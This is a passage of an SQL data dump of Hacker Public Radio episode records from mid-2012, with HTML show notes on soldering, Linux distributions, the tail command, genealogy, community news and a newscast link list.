href=\"https://universal-radio.com/catalog/hamps/3286.html\">https://universal-radio.com/catalog/hamps/3286.html</a>\r\n</p>',173,0,1,'CC-BY-SA','Amateur radio,Ham radio',0,2330,1),
(1037,'2012-07-24','Soldering Part 1',1665,'A show about the tools needed for soldering','<p>\r\nA show about the tools needed for soldering\r\n</p>\r\n<p>\r\nExample of a battery powered soldering iron (similar to the on I had)\r\n<a href=\"https://www.iso-tip.com/wp-content/uploads/2011/04/7700IsoTipQuickChargeWeb2-4.jpg\">https://www.iso-tip.com/wp-content/uploads/2011/04/7700IsoTipQuickChargeWeb2-4.jpg</a>\r\n</p>\r\n<p>\r\nWeller soldering gun kit similar to the one I owned\r\n<a href=\"https://www.tooled-up.com/Product.asp?PID=12425\">https://www.tooled-up.com/Product.asp?PID=12425</a>\r\n</p>\r\n<p>\r\nPortalsol Iron (My gas powered soldering Iron)\r\n<a href=\"https://in.rsdelivers.com/product/portasol/10181060/miniature-gas-soldering-iron-60w-171mm-l/0600234.aspx\">https://in.rsdelivers.com/product/portasol/10181060/miniature-gas-soldering-iron-60w-171mm-l/0600234.aspx</a>\r\n</p>\r\n<p>\r\nAntex iron, with soldering stand and sponge (The one I fitted I diode to)\r\n<a href=\"https://en.wikipedia.org/wiki/File:SolderStation.JPG\">https://en.wikipedia.org/wiki/File:SolderStation.JPG</a>\r\n</p>\r\n<p>\r\nWeller magnostatic work station (Similar to the one I used in the early part of my career) \r\n<a href=\"https://tehnikservice.net/2010/03/27/temperature-led-for-weller-wtcps/\">https://tehnikservice.net/2010/03/27/temperature-led-for-weller-wtcps/</a>\r\n</p>\r\n<p>\r\nA modern Weller magnostatic work station\r\n<a href=\"https://www.eham.net/reviews/detail/4478\">https://www.eham.net/reviews/detail/4478</a>\r\n</p>\r\n<p>\r\nAn example of my Weller temperature controlled iron, mine is almost as scabby as this one!\r\n<a href=\"https://www.bmius.com/p-7802-weller-ec2002a-soldering-station-ec-2000-power-unit.aspx\">https://www.bmius.com/p-7802-weller-ec2002a-soldering-station-ec-2000-power-unit.aspx</a>\r\n</p>\r\n<p>\r\nAn example of a soldering sponge\r\n<a href=\"https://www.maplin.co.uk/replacement-sponge-4078\">https://www.maplin.co.uk/replacement-sponge-4078</a>\r\n</p>\r\n<p>\r\nAn example of a dry joint\r\n<a href=\"https://www.fordwiki.co.uk/index.php?title=File:CrctCrck-2.jpg\">https://www.fordwiki.co.uk/index.php?title=File:CrctCrck-2.jpg</a>\r\n</p>\r\n<p>\r\nWiki entry on Heatshrink sleeving\r\n<a href=\"https://en.wikipedia.org/wiki/Heatshrink\">https://en.wikipedia.org/wiki/Heatshrink</a>\r\n</p>\r\n<p>\r\nsmall jewelers screwdrivers I own\r\n<a href=\"https://www.amazon.co.uk/Rolson-Tools-28289-piece-Screwdriver/dp/B000WDXMBY/ref=sr_1_9?ie=UTF8&amp;qid=1336310437&amp;sr=8-9\">https://www.amazon.co.uk/Rolson-Tools-28289-piece-Screwdriver/dp/B000WDXMBY/ref=sr_1_9?ie=UTF8&amp;qid=1336310437&amp;sr=8-9</a>\r\n</p>',201,0,1,'CC-BY-SA','solder,soldering,soldering iron,soldering sponge,dry joint',0,2343,1),
(1038,'2012-07-25','Interview with George Vlahavas and Andreas Born of the Salix OS project',2671,'Interview with George Vlahavas and Andreas Born','<p>\r\nI\'ve been using Salix OS, a Slackware derivative, for a while now and I wanted to share my love of it with it\'s developers and with all of you. If you find this interview or this GNU/Linux distro compelling please go to <a href=\"https://www.salixos.org\">https://www.salixos.org</a> and give it a try.\r\n</p>\r\n<p>\r\nThank you so much for listening.<br/>\r\n-pokey\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.\r\n</p>',128,78,1,'CC-BY-SA','Salix OS,Slackware',0,2741,1),
(1039,'2012-07-26','Matt Lee Gnu FM and Libre FM',1918,'A recording of a talk from the Northeast GNU/Linux Fest by Matt Lee','<p>\r\nTodays show was recorded at the Northeast GNU/Linux Fest 2012-03-17\r\n</p>\r\n<p>\r\n<strong>Libre.fm</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em>\r\n</p>\r\n\r\n<p>\r\nLibre.fm is a music community website that aims to provide a Free Software replacement for last.fm. The website was founded in 2009 by Matt Lee. It is under active development.\r\n</p>\r\n<p>\r\nLibre.fm can optionally store a user\'s listening habits using information sent to the website\'s server from the user\'s audio player via scrobbling. In order to enable support for Libre.fm on existing audio players, the website implements the Last.fm Audioscrobbler API. In addition to collecting user uploaded listening data, the site offers streaming music using the Ogg container, from the sites Jamendo or The Internet Archive, via an HTML5 audio player, run directly in the user\'s browser.\r\n</p>\r\n<p>\r\nBy utilising the records of users\' listening habits, the website aims to be able to recommend music to users by analysing their musical taste. However, this feature isn\'t fully developed yet. The site currently only offers basic suggestions if content a user has \"Loved\" (favorited), contains shared tags with content a user has not favorited yet. Registered users who have favorited tracks, will have that content appear in streaming web playlists, called \"Radio Stations\". It is not currently possible to build custom playlists.\r\n</p>\r\n<p>\r\nA goal of the project is to encourage artists to release tracks under a free license, and allow users to download or purchase these tracks. Only artists releasing music under free content licenses are promoted by the site. The website will also allow users to communicate among themselves, create groups of common interests and share information on musical events.\r\n</p>\r\n<p>\r\nThe main reasoning behind the foundation of Libre.fm was to provide a service similar to last.fm that respects the privacy of its users and their information. As such, Libre.fm does not log users\' IP addresses, allows users to decide if their listening habits are to be made public or not, and does not claim ownership on users\' data.\r\n</p>\r\n<p>\r\nLibre.fm is powered by the free software package GNU FM, created for the project.\r\n</p>\r\n',158,54,1,'CC-BY-SA','Libre.fm,GNU FM,Audioscrobbler',0,2353,1),
(1040,'2012-07-27','Steam on Linux',759,'A discussion of the future of Steam on Linux','<p>Steam announced platform development for Ubuntu. Lord Drachenblut and Downer discuss how this will affect the linux gaming world as well as some concerns.</p>\r\nThe blog article we reference can be found here:<br />\r\n<a href=\"https://blogs.valvesoftware.com/linux/steamd-penguins/\">https://blogs.valvesoftware.com/linux/steamd-penguins/</a>',178,0,1,'CC-BY-SA','Steam,Linux,game,gaming',0,2356,1),
(1041,'2012-07-30','Home from H.O.P.E.',2086,'A discussion between attendees after HOPE Number Nine','<p>\r\nQuvmoh, Murph, and NYbill talk about attending the HOPEnumber9 conference in NYC. \r\nH.O.P.E. stands for Hackers On Planet Earth. The conference is put on every two years\r\nat the Hotel Pennsylvania by the people at 2600. \r\n</p>\r\n<p>\r\n<a href=\"https://www.2600.com\">https://www.2600.com</a></p>\r\n',109,0,1,'CC-BY-SA','Hackers On Planet Earth,H.O.P.E.,2600',0,2274,1),
(1042,'2012-07-31','LiTS 012: tail',952,'Output the last part of files with the tail command','<p>The tail command is used to print out the last 10 lines of a file to standard out. This command is a staple in a system administrator’s tool kit and especially handy when monitoring log files. The basic syntax is:</p>\r\n<blockquote><p>tail some_file</p></blockquote>\r\n<p>Which will output the last 10 lines of the file. You can alter the number of lines with the -n, or –lines=, flag:</p>\r\n<blockquote><p>tail -n20 some_file<br/>\r\ntail –lines=20 some_file</p></blockquote>\r\n<p>In some versions of tail you can get away with specifying the number of lines from the end with just a “-” and number:</p>\r\n<blockquote><p>tail -30 some_file</p></blockquote>\r\n<p>Instead of working backwards with the -n command you can specify a “+” and some number to start from that number and list the contents to the end:</p>\r\n<blockquote><p>tail -n+30 some_file</p></blockquote>\r\n<p>This will display the contents of some_file from line 30 to the end of the file.\r\n</p>\r\n<p>\r\nFor the complete write up including video please go to <a href=\"https://www.linuxintheshell.com/2012/07/31/episode-012-tail/\">https://www.linuxintheshell.com/2012/07/31/episode-012-tail/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','tail',0,2773,1),
(1043,'2012-07-31','Hacking Second Hand - Obtaining Old Tech',1735,'Where to go to get old tech and things you should know before buying','<p>\r\nA talk about where to go to get old tech and things you should know before venturing into the second hand market.\r\nCovers using who you know, using the internet, yard sales, flea markets, rummage sales, auctions, thrift stores, and trash picking.\r\n</p>\r\n<p>\r\n<a href=\"https://Famicoman.com\">Famicoman.com</a> - <a href=\"https://Obsoleet.com\">Obsoleet.com</a> - <a href=\"https://Anarchivism.org\">Anarchivism.org</a>\r\n</p>',218,0,1,'CC-BY-SA','second hand,yard sale,flea market,rummage sale,auction,thrift store,trash picking',0,2472,1),
(1044,'2012-08-02','OggCamp11: Oracle Linux',1701,'An interview with JWP followed by the talk he gave','In todays long over due show we interview out very own presenter JWP and listen to his talk given at OggCamp11.',129,62,1,'CC-BY-SA','oggcamp,oggcamp11,Oracle Linux',0,2315,1),
(1045,'2012-08-03','Genealogy',608,'A look at the process of researching a UK family tree','<p>\r\nI\'ve been researching my family tree for a short while now, and through I\'d share some of my resources and tips with other hackers.<br />\r\n</p>\r\n<ol>\r\n        <li>Hingley\'s of Netherton (<a href=\"https://en.wikipedia.org/wiki/Netherton,_West_Midlands#Chain_and_anchor_making\">Wikipedia Link</a> <a href=\"https://blackcountryhistory.org/collections/getrecord/GB145_p_430/\">Black Country History Link</a>)</li>\r\n        <li>The Titanic Anchor (<a href=\"https://news.bbc.co.uk/local/blackcountry/hi/people_and_places/history/newsid_8908000/8908884.stm\">BBC Black Country Link</a>)</li>\r\n        <li><a href=\"https://www.ancestry.co.uk\">Ancestry.co.uk</a></li>\r\n        <li><a href=\"https://www.gramps-project.org\">Gramps</a></li>\r\n        <li><a href=\"https://www.freebmd.org.uk\">FreeBMD</a></li>\r\n        <li><a href=\"https://www.nationalarchives.gov.uk/records/census-records.htm\">Census records online</a> (you can usually search the census for free at your local library)</li>\r\n        <li><a href=\"https://ukbmd.org.uk\">ukbmd</a></li>\r\n        <li><a href=\"https://westmidlandsBMD.org.uk\">westmidlandsBMD</a></li>\r\n        <li>My Grandparent\'s marriage register record<a href=\"https://titaniumbunker.com/wp-content/uploads/2012/06/d127561f-afa6-4d2b-9266-dc6512a74db3-0.jpg\"><img class=\"aligncenter  wp-image-1510\" title=\"Horace Hingley and Annie Page - Marriage record.\" src=\"https://titaniumbunker.com/wp-content/uploads/2012/06/d127561f-afa6-4d2b-9266-dc6512a74db3-0.jpg\" alt=\"\" width=\"1049\" height=\"735\" /></a></li>\r\n        <li><a href=\"https://trees.ancestry.co.uk/tree/34135438/family\">my family tree on ancestry.co.uk</a> - You will need an account on ancestry - or may be able to access it via Ancestry Library Edition</li>\r\n        <li><a href=\"https://gro.gov.uk\">Government Records Office</a></li>\r\n        <li><a href=\"https://www.ancestry.co.uk/cs/HelpAndAdvice/Advice\">Ancestry Family History Advice</a></li>\r\n</ol>\r\n\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://blackcountryhistory.org/collections/getrecord/GB145_p_430/\">https://blackcountryhistory.org/collections/getrecord/GB145_p_430/</a></li>\r\n<li><a href=\"https://news.bbc.co.uk/local/blackcountry/hi/people_and_places/history/newsid_8908000/8908884.stm\">https://news.bbc.co.uk/local/blackcountry/hi/people_and_places/history/newsid_8908000/8908884.stm</a></li>\r\n<li><a href=\"https://www.ancestry.co.uk\">https://www.ancestry.co.uk</a></li>\r\n<li><a href=\"https://www.gramps-project.org\">https://www.gramps-project.org</a></li>\r\n<li><a href=\"https://www.freebmd.org.uk\">https://www.freebmd.org.uk</a></li>\r\n<li><a href=\"https://www.nationalarchives.gov.uk/records/census-records.htm\">https://www.nationalarchives.gov.uk/records/census-records.htm</a></li>\r\n<li><a href=\"https://ukbmd.org.uk\">https://ukbmd.org.uk</a></li>\r\n<li><a href=\"https://westmidlandsBMD.org.uk\">https://westmidlandsBMD.org.uk</a></li>\r\n<li><a href=\"https://titaniumbunker.com/wp-content/uploads/2012/06/d127561f-afa6-4d2b-9266-dc6512a74db3-0.jpg\">https://titaniumbunker.com/wp-content/uploads/2012/06/d127561f-afa6-4d2b-9266-dc6512a74db3-0.jpg</a></li>\r\n<li><a href=\"https://trees.ancestry.co.uk/tree/34135438/family\">https://trees.ancestry.co.uk/tree/34135438/family</a></li>\r\n<li><a href=\"https://gro.gov.uk\">https://gro.gov.uk</a></li>\r\n<li><a href=\"https://www.ancestry.co.uk/cs/HelpAndAdvice/Advice\">https://www.ancestry.co.uk/cs/HelpAndAdvice/Advice</a></li>\r\n</ol>\r\n',185,0,1,'CC-BY-SA','genealogy,Gramps,FreeBMD,census,ancestry.co.uk',0,2374,1),
(1046,'2012-08-06','HPR Community News July 2012',2350,'HPR Community News July 2012','<h2>New hosts</h2>\r\n<p>Welcome to our new host: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=217\">aparanoidshell</a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=218\">Famicoman</a>\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table>\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr><td>1021</td>\r\n<td>HPR Community News June 2012</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n            \r\n<tr><td>1022</td>\r\n<td>LiTS 010 - df - Exploring Disk Filesystem Usage</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1023</td>\r\n<td>About Rivendell with Rivendell</td>\r\n<td>AukonDK</td>\r\n</tr>\r\n            \r\n<tr><td>1024</td>\r\n<td>Episode 1024</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n            \r\n<tr><td>1025</td>\r\n<td>Infonomicon Episode #51</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n            \r\n<tr><td>1026</td>\r\n<td>Setting up a WordPress blog part 4</td>\r\n<td>Frank Bell</td>\r\n</tr>\r\n            \r\n<tr><td>1027</td>\r\n<td>Migrating away from Google Reader</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1028</td>\r\n<td>Jonathan Kulp and NYbill: Goodwill Hunting </td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n            \r\n<tr><td>1029</td>\r\n<td>Karen Sandler on Medical Devices: OGG Camp Part Two</td>\r\n<td>Robin Catling</td>\r\n</tr>\r\n            \r\n<tr><td>1030</td>\r\n<td>Ruben Rodriquez talks about Trisquel Linux</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td>1031</td>\r\n<td>Backing up your dvd collection using mencoder</td>\r\n<td>BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr><td>1032</td>\r\n<td>LiTS 011: du - disk usage</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1033</td>\r\n<td>Go RTFM</td>\r\n<td>aparanoidshell</td>\r\n</tr>\r\n            \r\n<tr><td>1034</td>\r\n<td>PXE Boot</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1035</td>\r\n<td>OGG Camp 11 Panel Discussion</td>\r\n<td>Robin Catling</td>\r\n</tr>\r\n            \r\n<tr><td>1036</td>\r\n<td>Setting up Your First Ham Radio Station</td>\r\n<td>Joel</td>\r\n</tr>\r\n            \r\n<tr><td>1037</td>\r\n<td>Soldering Part 1</td>\r\n<td>MrX</td>\r\n</tr>\r\n            \r\n<tr><td>1038</td>\r\n<td>Interview with George Vlahavas and Andreas born of the SalixOS project</td>\r\n<td>pokey</td>\r\n</tr>\r\n            \r\n<tr><td>1039</td>\r\n<td>Matt Lee Gnu FM and Libre FM</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td>1040</td>\r\n<td>Steam on Linux</td>\r\n<td>Lord Drachenblut and Downer</td>\r\n</tr>\r\n            \r\n<tr><td>1041</td>\r\n<td>Home from H.O.P.E.</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n            \r\n<tr><td>1042</td>\r\n<td>LiTS: 012 - tail</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1043</td>\r\n<td>Hacking Second Hand - Obtaining Old Tech</td>\r\n<td>Famicoman</td>\r\n</tr>\r\n            \r\n<tr><td>1044</td>\r\n<td>OggCamp11: Oracle Linux</td>\r\n<td>JWP</td>\r\n</tr>\r\n            \r\n<tr><td>1045</td>\r\n<td>Genealogy</td>\r\n<td>Mike Hingley</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Thanks to</h2>\r\n<ul>\r\n<li>Iwan Gabovitch for the heads up about the wrong CC lisence on the site</li>\r\n<li>Dave Morriss for all the fantastic work he\'s doing on the backend system</li>\r\n<li>Frank Bell and Ehtyar Holmes for all the fantastic work he\'s doing on the frontend system</li>\r\n<li>David Whitman for tracking the keywords on past episodes and for the kind donation towards paying for the European HPR banner</li>\r\n<li>Richard Querin for the fantastic artwork</li>\r\n<li>Xoke for the idea</li>\r\n<li>Jonathan Nadeau for the cpanel script</li>\r\n</ul>\r\n<h2>Apologies to</h2>\r\n<ul>\r\n<li>DeepGeek who sent in this <br/><em> I wanted to ask in regards to the next community news that a mention that I installed a new webpage design while on my May sabbatical, and please also announce that the second month of my sabbatical will be taken for the month of July. In August, I will resume my full schedule of three-per-month and will produce three for this month, June.</em></li>\r\n<li>DeepGeek when I forgot to announce that he would be at hope</li>\r\n<li>Windigo for missing that he was a new host</li>\r\n<li>Mike Hingley and DoorToDoorGeek for not sending him the FTP details</li>\r\n<li>Dave Morriss, Frank Bell and Ehtyar Holmes for not providing them enough information for the new site</li>\r\n<li>NYbill for not putting their show out sooner</li>\r\n<li>Everyone for the delay in getting the Queue and Calendar published</li>\r\n</ul>\r\n<h2>Other Notes</h2>\r\n<ul>\r\n<li>We\'re pushing out all the 2011 OggCamp content from last year</li>\r\n<li>Droops where are you</li>\r\n<li>hprhackers group created on <a href=\"https://gitorious.org/+hprhackers\">gitorious.org</a></li>\r\n</ul>\r\n<h2>HOPE 9</h2>\r\n<p>\r\n<img src=\"media/albums/hope9/hope9_Quvmoh_Nybill_and_a_shy_fellow.jpg\" title=\"hope9_Quvmoh_Nybill_and_a_shy_fellow.jpg\" alt=\"HOPE9 Quvmoh Nybill and a shy fellow\"/> <br />\r\nIn case anyone is interested in audio for the talks at HOPE9, they just went up at <a href=\"https://www.hopenumbernine.net/schedule/\">https://www.hopenumbernine.net/schedule/</a>\r\n</p>\r\n<h2>OggCamp</h2>\r\n<p>Ken will be at <a href=\"https://oggcamp.org/\">OggCamp</a> on <strong>August 18 / 19</strong>, Art and Design Academy, Liverpool John Moores University, Liverpool, L3 5RD. If you are there coma along to the booth and sign the table. There will be a <em>very limited</em> number of t-shirts. Stickers were too expensive this time. If there is time, Ken will put together a booklet on the podcasts listed on <a href=\"https://www.thelinuxlink.net/\">thelinuxlink.net</a> site.\r\n</p>\r\n<h2>Ohio LinuxFest 2012 Registration is Open for Business</h2>\r\n<p>\r\nA message from Kevin O\'Brien<br />\r\n<em>We are opening up Registration for the 2012 Ohio LinuxFest event, and we\'d appreciate it if you could pass along this message through whichever social media you prefer. The Registration page is at <a href=\"https://ohiolinux.org/register\">https://ohiolinux.org/register</a></em>\r\n</p>\r\n<h2>AccessibleComputingFoundation fundraiser</h2>\r\n<p>\r\nWe would like to announce the first fundraiser for the <a target=\"_blank\" href=\"https://www.accessiblecomputingfoundation.org\" rel=\"external nofollow\">Accessible Computing Foundation!</a>. It will be held on August 25 from 12pm EST until 12am EST August 26. This event will be streamed at <a target=\"_blank\" href=\"https://www.thenewradio.net\" rel=\"external nofollow\">The New Radio</a>for the entire event. It\'s going to be held over at Linux Basix, using their Mumble server. To find out the information for the Mumble server, please visit the <a target=\"_blank\" href=\"https://www.LinuxBasix.com\" rel=\"external nofollow\">Linuxbasix</a>site . We\'ll be able to have up to 30 people in the room at once, so come and join us in talking about accessibility and Free software.<br/>\r\n<br/>\r\nSo far, joining the event we will be having Jono Bacon from Ubuntu, and Zack the Debian project leader. If you\'d like to speak with either of them, please come and join us on August 25. The goal for this fundraiser is to have 1000 people become members of the ACF at $2 a month. We have 3 other levels of membership options if anyone is interested. This would be a great help to the foundation and really get us off of the ground to start bridging the gap between accessibility and technology.<br/>\r\n<br/>\r\nThe reason we\'re focusing on the $2/month level is because it\'s only 50 cents a week and we think this is a goal most people could meet, even if living on a fixed income like so many people with disabilities. Since monthly membership is so low, we are really depending on MANY people to become members to make this difference. Granted $2 a month isn\'t much, but if we can get a large number of people thinking this way, it will add up quickly and help out the Accessible Computing Foundation in a great way. So please, join us on August 25 and help bring Accessible Freedom to people around the world!\r\n</p>\r\n\r\n\r\n\r\n\r\n',159,47,1,'CC-BY-SA','Community News',0,2174,1),
(1047,'2012-08-07','Soldering Part 2: An audio demonstration of soldering',1638,'More about the process of soldering','<p>\r\nHere is a list of useful links to go along with my 2nd episode in soldering\r\n</p>\r\n<p>\r\nA very detailed page on the art of soldering, lots of good tips hear if you want further reading\r\n<a href=\"https://talkingelectronics.com/FreeProjects/5-Projects/Page13.html\">https://talkingelectronics.com/FreeProjects/5-Projects/Page13.html</a>\r\n</p>\r\n<p>\r\nBottle of flux like the type I used at work\r\n<a href=\"https://moonflygirl.blogspot.co.uk/2011/03/needle-bottle-for-liquid-flux.html\">https://moonflygirl.blogspot.co.uk/2011/03/needle-bottle-for-liquid-flux.html</a>\r\n</p>\r\n<p>\r\nTin of flux like the one used at work\r\n<a href=\"https://www.teyaa.com/mini-pd10-box-of-tin-soldering-flux-yellow-p-123922.html\">https://www.teyaa.com/mini-pd10-box-of-tin-soldering-flux-yellow-p-123922.html</a>\r\n</p>\r\n<p>\r\nPerf board or strip board, I accidentally called it bread board which is something completely different\r\n<a href=\"https://uk.rs-online.com/web/p/prototype-development-boards/0434217/\">https://uk.rs-online.com/web/p/prototype-development-boards/0434217/</a>\r\n</p>\r\n<p>\r\nWikipedia entry for Perf Board or Strip Board\r\n<a href=\"https://en.wikipedia.org/wiki/Stripboard\">https://en.wikipedia.org/wiki/Stripboard</a>\r\n</p>\r\n<p>\r\nBread board is used for quick lash ups where soldering is not required as you just push the components into the holes on the board\r\n<a href=\"https://www.circuitboards1.com/category/breadboard/\">https://www.circuitboards1.com/category/breadboard/</a>\r\n</p>',201,0,1,'CC-BY-SA','multicore solder,flux,perf board,strip board,bread board',0,2265,1),
(1048,'2012-08-08','Get off this Rock !!!',2810,'Mr Gadgets talks about Space travel and living on other planets','<p>\r\nIn this episode Mr Gadgets talks about Space. \r\n</p>\r\n<p>\r\nGetting regular people off this planet and living on other planets.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Spacex\">https://en.wikipedia.org/wiki/Spacex</a>\r\n</p>\r\n<p>\r\nKen reckons that the ping times will be terrible.\r\n</p>\r\n',155,0,1,'CC-BY-SA','space,space travel,SpaceX',0,2345,1),
(1049,'2012-08-09','OGG Camp 11: Laura Czajowksi, Life Outside of IRC in a FLOSS Community',1054,'Fifth in a series of OggCamp 11 highlights from the Full Circle Podcast','<p>welcome to the Full Circle Podcast on Hacker Public Radio. This is the fifth, if I\'m counting correctly, of our highlights of last Summers unconference, OGG Camp eleven, held at Farnham Maltings in the South of England.</p>\r\n\r\n<p>This show is a recording of a presentation from Laura Czajkowski on the benefits of real-world, as opposed to cyber-community. Entitled Life Outside of IRC in a FLOSS Community, Laura evangelises on the on the benefits of real-world interaction, beyond that on-line.</p>\r\n\r\n<p>Laura describes herself as Argumentative, Stubborn, Geek, Ubuntu Fan and MUNSTER FAN. Munster, for those who don\'t know, being a major rugby team from the town of Munster back in her native Ireland.</p>\r\n\r\n<p>Laura has this year joined Canonical as Launchpad Support Specialist</p>\r\n\r\n<p><strong>Presentation from Laura Czajkowski.</strong><br/>\r\n<a target=\"_blank\" href=\"https://lanyrd.com/profile/czajkowski/\" title=\"Laura czajkowski on Lanyrd\"> Laura czajkowski on Lanyrd</a>: Argumentative, Stubborn, Geek, Ubuntu Fan, MUNSTER FAN<br/>\r\nSlides (pdf): <a target=\"_blank\" href=\"https://cypher.skynet.ie/oggcamp/Life%20Outside%20of%20IRC%20in%20a%20FLOSS%20Community%20.pdf\" title=\"Laura czajkowski slides on Life Outside IRC\">Life Outside of IRC in a FLOSS Community (cypher.skynet.ie)</a></p>\r\n\r\n<p>We\'ve more highlights of OGG Camp coming up on the Full Circle Podcast very soon, including a de-brief with Alan Pope.</p>\r\n\r\n<p>OGG Camp is a joint venture organised by those lovely podcasters the <a href=\"https://linuxoutlaws.com/\" target=\"_blank\" >Linux Outlaws</a> and the <a href=\"https://podcast.ubuntu-uk.org/\" target=\"_blank\" >Ubuntu UK Podcast</a>.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 17mins 34seconds</p>',160,54,1,'CC-BY-SA','OggCamp,Full Circle Podcast,IRC',0,2236,1),
(1050,'2012-08-09','TGTM Newscast for 2012/8/8 DeepGeek',1381,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.jillstein.org/stein_and_honkala_arrested\">Stein and Honkala arrested in protest of foreclosure giant Fannie Mae</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/1/headlines#817\">Former Florida GOP Leader: Party Openly Discussed Suppressing African-American Vote </a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/7/20/headlines#7206\">Judge Rejects Bid by Manning Lawyers to Cite Evidence Leak Caused No Harm </a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/08/02/too-young-to-know/\">Too Young To Know</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2693\">Correa in the catbird seat</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/07/open-source-developer-bassel-khartabil-detained-syria\">Open Source Developer Bassel Khartabil Detained in Syria</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-search-warrants-ruled-illegal-by-high-court-120628/\"> Megaupload Search Warrants Ruled Illegal by High Court</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120702/03412919549/congress-plays-see-no-evil-pretend-theres-no-evil-let-the-evil-continue-with-nsa-domestic-spying.shtml\">Congress Plays See-No-Evil, Pretend-There\'s-No-Evil, Let-The-Evil-Continue With NSA Domestic Spying</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120629/15451719541/you-dont-own-what-you-buy-part-15332-cisco-forces-questionable-new-firmware-routers.shtml\">You Don\'t Own What You Buy, Part 15,332: Cisco Forces Questionable New Firmware On Routers</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/07/13/WhyThereAreDatacentersInNYHongKongAndTokyo.aspx\"> Why there are Datacenters in NY, Hong Kong, and Tokyo?</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.eff.org/deeplinks/2012/07/eff-challenges-national-security-letter-statute-landmark-lawsuit\">EFF Challenges National Security Letter Statute in Landmark Lawsuit</a></li>\r\n<li><a href=\"https://www.thestand.org/2012/07/medicaid-expansion-will-boost-our-states-economy/\">Medicaid expansion will boost Washington state’s economy</a></li>\r\n<li><a href=\"https://news.techeye.net/internet/icelands-government-warns-of-wikileaks-vendetta\"> Iceland\'s government warns of Wikileaks vendetta Grand jury investigation underway </a></li>\r\n<li><a href=\"https://www.guardian.co.uk/commentisfree/2012/jul/03/evidence-us-judicial-vendetta-wikileaks-activists-mounts\">Evidence of a US judicial vendetta against WikiLeaks activists mounts</a></li>\r\n<li><a href=\"https://swartz.typepad.com/texplorer/2012/06/assange-ecuador-rape-and-sweden-1.html\">Assange, Ecuador, Rape, and Sweden</a></li></ul>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.jillstein.org/stein_and_honkala_arrested\">https://www.jillstein.org/stein_and_honkala_arrested</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/8/1/headlines#817\">https://www.democracynow.org/2012/8/1/headlines#817</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/7/20/headlines#7206\">https://www.democracynow.org/2012/7/20/headlines#7206</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/08/02/too-young-to-know/\">https://maggiemcneill.wordpress.com/2012/08/02/too-young-to-know/</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2693\">https://wlcentral.org/node/2693</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/07/open-source-developer-bassel-khartabil-detained-syria\">https://www.eff.org/deeplinks/2012/07/open-source-developer-bassel-khartabil-detained-syria</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-search-warrants-ruled-illegal-by-high-court-120628/\">https://torrentfreak.com/megaupload-search-warrants-ruled-illegal-by-high-court-120628/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120702/03412919549/congress-plays-see-no-evil-pretend-theres-no-evil-let-the-evil-continue-with-nsa-domestic-spying.shtml\">https://www.techdirt.com/articles/20120702/03412919549/congress-plays-see-no-evil-pretend-theres-no-evil-let-the-evil-continue-with-nsa-domestic-spying.shtml</a></li>\r\n<li><a 